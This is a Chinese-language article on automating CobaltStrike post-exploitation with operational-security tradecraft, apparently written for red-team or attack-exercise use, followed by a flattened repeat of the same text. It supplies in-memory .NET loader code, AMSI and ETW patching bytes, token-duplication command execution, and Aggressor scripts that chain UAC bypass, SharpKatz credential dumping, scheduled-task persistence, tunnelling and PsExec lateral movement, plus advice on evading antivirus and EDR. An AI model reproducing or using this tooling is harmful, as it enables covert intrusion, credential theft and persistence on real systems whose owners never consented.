基于 OPSEC 的 CobaltStrike 后渗透自动化链
字数 1496 2025-08-05 11:39:43

CobaltStrike 后渗透自动化链设计与实现

1. 背景与现状分析

1.1 当前困境

  1. 上线时间不可控:钓鱼攻击中目标上线时间难以预测,无法24小时值守
  2. 重复性工作:HW场景下主机信息收集、权限维持等操作高度重复
  3. 协作效率低:多人协作时容易重复收集相同信息
  4. 隐蔽性不足:传统自动化链使用敏感命令(brun/bshell等)易被检测

1.2 现有技术缺陷

  • 使用cmd.exepowershell.exe等敏感进程
  • 直接调用wmic等系统命令触发告警
  • Defender会标记LaunchingSuspCMD行为
  • 传统execute-assembly采用fork&run模式易被检测

2. 核心设计原则

2.1 OPSEC原则

  • C2隐匿:HTTPS加密、修改JARM/JA3指纹、中间件中转
  • 流量仿真:定制Malleable C2 Profile模拟业务流量
  • 无文件落地:内存加载执行
  • 最小化进程创建:避免新进程产生

2.2 技术选型

技术类型 代表方案 优势
BOF beacon_inline_execute 无新进程、C语言开发
.NET内存加载 InlineExecute-Assembly 免杀、支持大型程序集
隐蔽命令执行 令牌复制+CreateProcessAsUser 绕过AV监控

3. 关键技术实现

3.1 隐蔽注入C#程序

3.1.1 实现原理

  1. CLR初始化
CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID**)&iMetaHost);
iMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (VOID**)&iRuntimeInfo);
iRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&iRuntimeHost);
iRuntimeHost->Start();
  1. 获取AppDomain
iRuntimeHost->GetDefaultDomain(&pAppDomain);
pAppDomain->QueryInterface(__uuidof(_AppDomain), (VOID**)&pDefaultAppDomain);
  1. 程序集加载执行
pDefaultAppDomain->Load_3(pSafeArray, &pAssembly);
pAssembly->get_EntryPoint(&pMethodInfo);
pMethodInfo->Invoke_3(vObj, args, &vRet);

3.1.2 优化方案对比

项目 架构支持 AMSI绕过 ETW绕过 输出重定向
ExecuteAssembly x64 only 支持 支持
inject-assembly x64 only 支持 支持 命名管道
InlineExecute-Assembly x86/x64 支持 支持 邮槽/管道

3.1.3 关键技术点

  • 自动CLR版本检测
BOOL FindVersion(void *assembly, int length) {
    char v4[] = {0x76,0x34,0x2E,0x30,0x2E,0x33,0x30,0x33,0x31,0x39};
    // 搜索程序集字节特征
}
  • AMSI绕过
unsigned char amsiPatch[] = {0xB8,0x57,0x00,0x07,0x80,0xC3}; //x64
NtProtectVirtualMemory(NtCurrentProcess(), &lpBaseAddress, &uSize, PAGE_EXECUTE_READWRITE, &OldProtection);
NtWriteVirtualMemory(NtCurrentProcess(), pAddress, amsiPatch, sizeof(amsiPatch), NULL);
  • ETW绕过
unsigned char etwPatch[] = {0}; // 根据架构设置
NtWriteVirtualMemory(NtCurrentProcess(), pAddress, etwPatch, sizeof(etwPatch), NULL);

3.2 隐蔽命令执行

// 令牌复制
var hToken = WindowsIdentity.GetCurrent().Token;
win32.DuplicateTokenEx(hToken, win32.GENERIC_ALL_ACCESS, ref sa, 
    (int)win32.SECURITY_IMPERSONATION_LEVEL.SecurityIdentification, 
    (int)win32.TOKEN_TYPE.TokenPrimary, ref hDupedToken);

// 创建进程
win32.CreateProcessAsUser(hDupedToken, null, cmdline, ref sa, ref sa, 
    true, win32.NORMAL_PRIORITY_CLASS | win32.CREATE_NO_WINDOW, 
    IntPtr.Zero, null, ref si, ref pi);

// 输出重定向
while(true) {
    win32.ReadFile(hRead, buf, (uint)buf.Length, out BytesRead, IntPtr.Zero);
    Console.Write(Encoding.UTF8.GetString(buf, 0, (int)BytesRead));
}

4. 自动化链设计

4.1 执行场景判断

on beacon_initial {
    // 存活会话统计
    $x = 0; $y = 0; $z = 0;
    foreach $bid (beacon_ids()) {
        if(-isactive $bid && $lastTime <= 60000) {
            if($hName eq $computerName && $inIP eq $internalIP) {
                $x++;
                if(-isadmin $bid) { $y++; }
                $z = $x - $y;
            }
        }
    }
    
    // 场景路由
    if(!-isadmin $1) {
        if($x < 2) { 
            NormalUser_Chain($1); 
            BypassUAC($1);
        }
    } else {
        if($y < 2 && $z > 0) {
            OnlyAdmin_Chain($1);
        } else if($y < 2 && $z < 1) {
            NormalUser_Chain($1);
            OnlyAdmin_Chain($1);
        }
    }
}

4.2 功能模块示例

4.2.1 普通用户链

sub NormalUser_Chain {
    UP_Loader($1);
    beacon_inline_execute($1, readbof($1, "whoami"), "go", $null);
    inlineExecute-Assembly($1, script_resource("/scripts/SharpHunter.exe"), "sys");
    inlineExecute-Assembly($1, script_resource("/scripts/SharpHostInfo.exe"), "-i $internalIP /24");
}

4.2.2 BypassUAC

sub BypassUAC {
    inlineExecute-Assembly($1, script_resource("/scripts/SharpBypassUAC.exe"), 
        "-b computerdefaults -e $b64encodeFullPath");
}

4.2.3 管理员链

sub OnlyAdmin_Chain {
    inlineExecute-Assembly($1, script_resource("/scripts/SharpKatz.exe"), "");
    Pillager($1);
    inlineExecute-Assembly($1, script_resource("/scripts/SharpSchTask.exe"), 
        "$LoaderFullPath 1");
}

4.3 结果交互机制

on beacon_output {
    $message = $2;
    if("[*] Hunt End" isin $message) {
        @lines = split("\n", $message);
        foreach $line (@lines) {
            if("Antivirus" isin $line) {
                $antivirus = split(": ", $line)[1];
                bupdate($1, "Antivirus", $antivirus);
            }
            // 其他信息提取...
        }
    }
}

5. 完整流程示例

5.1 标准自动化链

  1. 上线提醒推送
  2. Loader上传
  3. 基础信息收集
  4. 屏幕截图
  5. 内网主机探测
  6. BypassUAC提权
  7. 凭据获取
  8. 隐蔽权限维持
  9. 隧道构建
  10. 横向移动

5.2 代码实现

http_get($onlineUrl);
UP_Loader($1, $LoaderPath, $LoaderPath);
PC_Getinfo($1);
SC_Command($1, $LoaderPath);
UP_Tunnel($1, $TunnelPath, $TunnelPath);
PassCapture($1);
Run_Scanner($1, $internalIP);
PsExec($1);

6. 防御规避策略

6.1 进程注入选择

  • 优先选择Microsoft.Uev.SyncController.exe等白名单进程
  • 避免注入到explorer.exe等监控严格的进程

6.2 敏感操作规避

  • 避免使用logonpasswords等敏感命令
  • 使用BOF替代bspawn等原生命令
  • 通过beacon_inline_execute执行高危操作

6.3 权限维持技巧

  • 使用计划任务而非注册表键
  • 采用多种维持方式组合
  • 定期更新Loader避免特征检测

7. 参考资源

  1. ExecuteAssembly优化方案
  2. InlineExecute-Assembly项目
  3. Malleable C2配置指南
  4. BOF开发工具集
CobaltStrike 后渗透自动化链设计与实现 1. 背景与现状分析 1.1 当前困境 上线时间不可控 :钓鱼攻击中目标上线时间难以预测,无法24小时值守 重复性工作 :HW场景下主机信息收集、权限维持等操作高度重复 协作效率低 :多人协作时容易重复收集相同信息 隐蔽性不足 :传统自动化链使用敏感命令(brun/bshell等)易被检测 1.2 现有技术缺陷 使用 cmd.exe 、 powershell.exe 等敏感进程 直接调用 wmic 等系统命令触发告警 Defender会标记 LaunchingSuspCMD 行为 传统 execute-assembly 采用fork&run模式易被检测 2. 核心设计原则 2.1 OPSEC原则 C2隐匿 :HTTPS加密、修改JARM/JA3指纹、中间件中转 流量仿真 :定制Malleable C2 Profile模拟业务流量 无文件落地 :内存加载执行 最小化进程创建 :避免新进程产生 2.2 技术选型 | 技术类型 | 代表方案 | 优势 | |---------|---------|------| | BOF | beacon_ inline_ execute | 无新进程、C语言开发 | | .NET内存加载 | InlineExecute-Assembly | 免杀、支持大型程序集 | | 隐蔽命令执行 | 令牌复制+CreateProcessAsUser | 绕过AV监控 | 3. 关键技术实现 3.1 隐蔽注入C#程序 3.1.1 实现原理 CLR初始化 : 获取AppDomain : 程序集加载执行 : 3.1.2 优化方案对比 | 项目 | 架构支持 | AMSI绕过 | ETW绕过 | 输出重定向 | |------|---------|---------|--------|-----------| | ExecuteAssembly | x64 only | 支持 | 支持 | 无 | | inject-assembly | x64 only | 支持 | 支持 | 命名管道 | | InlineExecute-Assembly | x86/x64 | 支持 | 支持 | 邮槽/管道 | 3.1.3 关键技术点 自动CLR版本检测 : AMSI绕过 : ETW绕过 : 3.2 隐蔽命令执行 4. 自动化链设计 4.1 执行场景判断 4.2 功能模块示例 4.2.1 普通用户链 4.2.2 BypassUAC 4.2.3 管理员链 4.3 结果交互机制 5. 完整流程示例 5.1 标准自动化链 上线提醒推送 Loader上传 基础信息收集 屏幕截图 内网主机探测 BypassUAC提权 凭据获取 隐蔽权限维持 隧道构建 横向移动 5.2 代码实现 6. 防御规避策略 6.1 进程注入选择 优先选择 Microsoft.Uev.SyncController.exe 等白名单进程 避免注入到 explorer.exe 等监控严格的进程 6.2 敏感操作规避 避免使用 logonpasswords 等敏感命令 使用BOF替代 bspawn 等原生命令 通过 beacon_inline_execute 执行高危操作 6.3 权限维持技巧 使用计划任务而非注册表键 采用多种维持方式组合 定期更新Loader避免特征检测 7. 参考资源 ExecuteAssembly优化方案 InlineExecute-Assembly项目 Malleable C2配置指南 BOF开发工具集